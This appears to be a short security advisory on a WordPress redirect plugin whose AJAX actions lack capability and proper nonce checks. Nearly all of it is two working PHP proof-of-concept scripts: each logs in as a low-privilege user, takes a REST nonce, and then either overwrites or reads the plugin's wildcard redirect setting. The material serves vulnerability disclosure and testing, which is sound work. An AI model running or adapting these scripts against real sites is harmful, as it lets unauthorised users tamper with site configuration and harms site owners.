In the plugin, the lack of capability checks and insufficient nonce check on the AJAX actions, simple301redirects/admin/get_wildcard and simple301redirects/admin/wildcard, made it possible for authenticated users to retrieve and update the wildcard value for redirects.
<?php
// Settings
$siteurl = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];
echo 'Logging in!';
// 1) Log in as sub+
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'log' => $wp_user,
'pwd' => $wp_pass,
'rememberme' => 'forever',
'wp-submit' => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);
echo 'Getting REST API Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/admin-ajax.php?action=rest-nonce');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);
//Import Nonce
preg_match('/([^"]+)/', $content, $matches);
$restnonce = $matches[1];
echo $restnonce;
echo 'wildcard!';
//Wildcard
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-admin/admin-ajax.php' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
'action' => 'simple301redirects/admin/wildcard',
'security' => $restnonce,
'toggle' => 'I have updated this setting!',
] );
$output = curl_exec($ch);
curl_close($ch);
print($output)
?>
<?php
// Settings
$siteurl = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];
echo 'Logging in!';
// 1) Log in as sub+
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'log' => $wp_user,
'pwd' => $wp_pass,
'rememberme' => 'forever',
'wp-submit' => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);
echo 'Getting REST API Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/admin-ajax.php?action=rest-nonce');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);
//Import Nonce
preg_match('/([^"]+)/', $content, $matches);
$restnonce = $matches[1];
echo $restnonce;
echo 'Get wildcard!';
//Get wildcard
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-admin/admin-ajax.php' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
'action' => 'simple301redirects/admin/get_wildcard',
'security' => $restnonce,
] );
$output = curl_exec($ch);
curl_close($ch);
print($output)
?>